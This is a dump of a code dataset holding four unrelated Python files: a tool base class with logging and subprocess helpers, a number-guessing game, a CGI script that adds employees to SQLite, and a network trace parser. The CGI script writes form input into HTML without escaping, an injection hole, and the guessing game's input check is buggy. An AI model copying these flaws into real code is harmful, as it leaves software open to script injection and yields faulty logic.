\"\"\"\n Iterate over the log files that already exist in the work directory and remove them.\n This method need only be called in the constructors of\n child tools that will be used multiple times in a single flow.\n \"\"\"\n for log in self.work_dir.iterdir():\n if log.is_file() and log.name == self.log_path.name:\n log.unlink()\n\n @abc.abstractmethod\n def add_args(self):\n \"\"\"Add arguments for argparser. This should be done using this\n function for all child tool classes.\"\"\"\n raise NotImplementedError\n\n def create_arg_parser(self, name, args):\n \"\"\"Create the arg parser object then add arguments by\n calling child method\"\"\"\n self.arg_parser = ToolArgParser(name)\n\n # Call child function(s) to add arguments to this tool\n self.add_args()\n\n # Parse the arguments\n self.args = self.arg_parser.parse_args(shlex.split(args))\n\n def make_work_dir(self):\n work_dir = self.cwd / self.TOOL_WORK_DIR\n\n if not work_dir.is_dir():\n work_dir.mkdir(parents=True, exist_ok=True)\n return work_dir\n\n def log_title(self, *msg):\n self.log(f\"{'='*80}\\n{' '.join(str(s) for s in msg)}\\n{'='*80}\")\n\n def log(self, *msg, add_timestamp=False):\n \"\"\"Write text to the log file and stdout\"\"\"\n with open(self.log_path, \"a\") as log_fp:\n text = \" \".join(str(s) for s in msg)\n if add_timestamp:\n time_now = datetime.datetime.now()\n text = time_now.strftime(Tool.TIMESTAMP_FORMAT) + text\n # print(text)\n log_fp.write(f\"{text}\\n\")\n log_fp.flush()\n\n def need_to_rerun(self, tool_products, dependency_modified_time):\n \"\"\"Determines whether previous run data can be reused or if the tool needs to be rerun.\"\"\"\n\n # Loop through tool prodcuts\n for tool_product in tool_products:\n # If ToolProduct produces a log file:\n if tool_product.log_path:\n # If log file is missing, re-run\n if not tool_product.log_path.is_file():\n return True\n\n # If log file is out of date, need to re-run\n if dependency_modified_time > tool_product.log_path.stat().st_mtime:\n self.log_path.unlink()\n return True\n\n # If log file has an error, raise an exception\n status = tool_product.check_log_fcn(tool_product.log_path)\n if status is not None and status.error:\n raise BfasstException(f\"Previous run of tool had an error: {status.msg}\")\n\n # If log file doesn't have an error, but output file is expected and missing, re-run\n if (tool_product.file_path is not None) and (not tool_product.file_path.is_file()):\n self.log_path.unlink()\n return True\n else:\n # This ToolProduct doesn't produce a log file\n\n # Rerun if product file is missing, or if product file is out of date\n if not tool_product.file_path.is_file() or (\n dependency_modified_time > tool_product.file_path.stat().st_mtime\n ):\n return True\n\n # Tool does not need to be rerun\n return False\n\n def exec_and_log(self, cmd, cwd=None, fp=None, fp_err=None, env=None, timeout=None):\n \"\"\"Run a command using Popen and log the output, return the process handle\"\"\"\n\n # Default cwd is the work directory\n if cwd is None:\n cwd = self.work_dir\n\n # Can't provide an fp_err without an fp\n assert fp_err is None or fp is not None\n\n enable_proxy()\n buf = redirect()\n proc = subprocess.Popen(\n cmd,\n stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT if fp_err is None else subprocess.PIPE,\n universal_newlines=True,\n cwd=cwd,\n env=env,\n )\n\n with open(self.log_path, \"a\") as f:\n buf.seek(0)\n copyfileobj(buf, f)\n cleanup_redirect()\n\n # Print stdout to log\n for line in proc.stdout:\n if fp:\n fp.write(line)\n else:\n self.log(line.strip())\n\n # If stderr is separate, print it to log as well.\n if fp_err:\n for line in proc.stderr:\n if fp:\n fp.write(line)\n else:\n self.log(line.strip())\n\n proc.communicate(timeout=timeout)\n return proc\n\n\nclass ToolArgParser(argparse.ArgumentParser):\n def __init__(self, name) -> None:\n super().__init__()\n self.name = name\n\n def error(self, message):\n sys.stderr.write(f\"{self.name} args error: {message}\\n\")\n sys.exit(2)\n","repo_name":"byuccl/bfasst","sub_path":"bfasst/tool.py","file_name":"tool.py","file_ext":"py","file_size_in_byte":6571,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"32"} +{"seq_id":"63409280","text":"print(\"Please think of a number between 0 and 100!\")\n\nhigh = 100\nlow = 0\nnum_guesses = 0\n\nflag = True\nwhile flag == True:\n guess = (high + low)/2.0\n print('Is your secret number', int(guess), ' ?')\n print(\"Enter 'h' to indicate the guess is too high. Enter 'l' to indicate the guess is too low. Enter 'c' to indicate I guessed correctly. \",end='')\n answer = input()\n answer = str(answer)\n \n if answer == 'h':\n high = (high + low)/ 2.0\n num_guesses += 1\n \n if answer == 'l':\n low = (high + low)/2.0\n num_guesses += 1\n \n if answer == 'c':\n print(\"Game over. Your secret number was:\", int(guess))\n break\n\n else: #answer != 'c' or 'l' or 'h':\n print(\"Sorry, I did not understand your input.\")\n \n\n","repo_name":"R1gp4/LearnX","sub_path":"6001x/ansguess.py","file_name":"ansguess.py","file_ext":"py","file_size_in_byte":792,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"38235192535","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n\r\nimport sqlite3\r\nimport cgi\r\nimport sys\r\nimport codecs\r\n\r\nsys.stdout = codecs.getwriter(\"utf-8\")(sys.stdout.detach())\r\nprint(\"Content-Type: application/xhtml+xml; charset = utf-8\\n\")\r\n\r\n#Partie statique de la page HTML\r\nprint(\"\"\"\r\n\r\n\r\n\r\n \r\n eCarnet - Ajout d'un ami\r\n \r\n \r\n \"\"\")\r\n \r\nform = cgi.FieldStorage()\r\nid_service = str(form[\"service\"].value)\r\nname = str(form[\"name\"].value)\r\nfirst_name = str(form[\"first_name\"].value)\r\nbirth_date = str(form[\"birth_date\"].value)\r\nemail = str(form[\"email\"].value)\r\ncellphone_number = \"X\"\r\nhome_phone_number = \"X\"\r\n\r\n\r\ndb_connection = sqlite3.connect('myDB.db')\r\ndb_connection.row_factory = sqlite3.Row\r\ncursor = db_connection.cursor()\r\n\r\ncursor.execute(\"SELECT MAX(registration_number) as max_id FROM Employee;\")\r\nmax_registration_number = cursor.fetchone()[0]\r\nregistration_number = int(str(max_registration_number)) + 1\r\ncursor.execute(\"INSERT INTO Employee VALUES (?,?,?,?,?,?,?,?);\", (registration_number, first_name, name, birth_date, email, home_phone_number, cellphone_number, id_service))\r\ndb_connection.commit()\r\ndb_connection.close()\r\n\r\nprint('

    Ajout de l\\'ami [' + first_name + ' ' + name + ']

    ')\r\nprint('

    ' + first_name + ' ' + name + ' a bien été ajouté dans la base de données.

    ')\r\n\r\nprint(\"\"\"

    Retour au eCarnet.

    \r\n \r\n \r\n \"\"\")\r\n \r\n \r\n \r\n","repo_name":"nassimodo/FaceBook","sub_path":"venv/_cgi_based/cgi-bin/eCarnet_add_employee.py","file_name":"eCarnet_add_employee.py","file_ext":"py","file_size_in_byte":1643,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"23084757553","text":"def p2p_list_of_dict():\n rawdata = open(\"p2p.tr\", \"r\");\n\n index = 0\n tracedata = []\n\n for line in rawdata:\n line = line.replace(')', '(')\n tokens = line.split('(')\n \n moretokens = tokens[0]\n moretokensList = moretokens.split()\n\n tracedata.append({})\n tracedata[index]['tracetype'] = moretokensList[0];\n tracedata[index]['time'] = moretokensList[1];\n tracedata[index]['link_layer_header'] = moretokensList[3];\n \n nodedata = moretokensList[2]\n tempList = nodedata.split('/')\n nodeNo = tempList[2]\n \n tracedata[index]['node_number'] = nodeNo;\n \n networkheader = tokens[4]\n \n tracedata[index]['network_layer_header'] = networkheader\n \n networkheaderFlags = tokens[7]\n networkheaderList = networkheaderFlags.split()\n \n tracedata[index]['ipv4_length'] = networkheaderList[4]\n tracedata[index]['network_layer_source'] = networkheaderList[5]\n tracedata[index]['network_layer_destination'] = networkheaderList[7]\n \n transportheader = tokens[8]\n transportheaderFlags = tokens[9]\n transportheaderList = transportheaderFlags.split()\n \n tracedata[index]['transport_layer_header'] = transportheader\n tracedata[index]['source_port'] = transportheaderList[0]\n tracedata[index]['destination_port'] = transportheaderList[2]\n \n payloadFlags = tokens[14]\n payloadList = payloadFlags.split()\n \n try:\n if payloadList[0] == 'Payload':\n tracedata[index]['data_payload'] = 'yes'\n \n else:\n tracedata[index]['data_payload'] = 'no'\n \n except IndexError:\n tracedata[index]['data_payload'] = 'no'\n\n index = index+1\n return tracedata\n","repo_name":"octopada/btp","sub_path":"deprecated/p2pparser.py","file_name":"p2pparser.py","file_ext":"py","file_size_in_byte":1672,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"}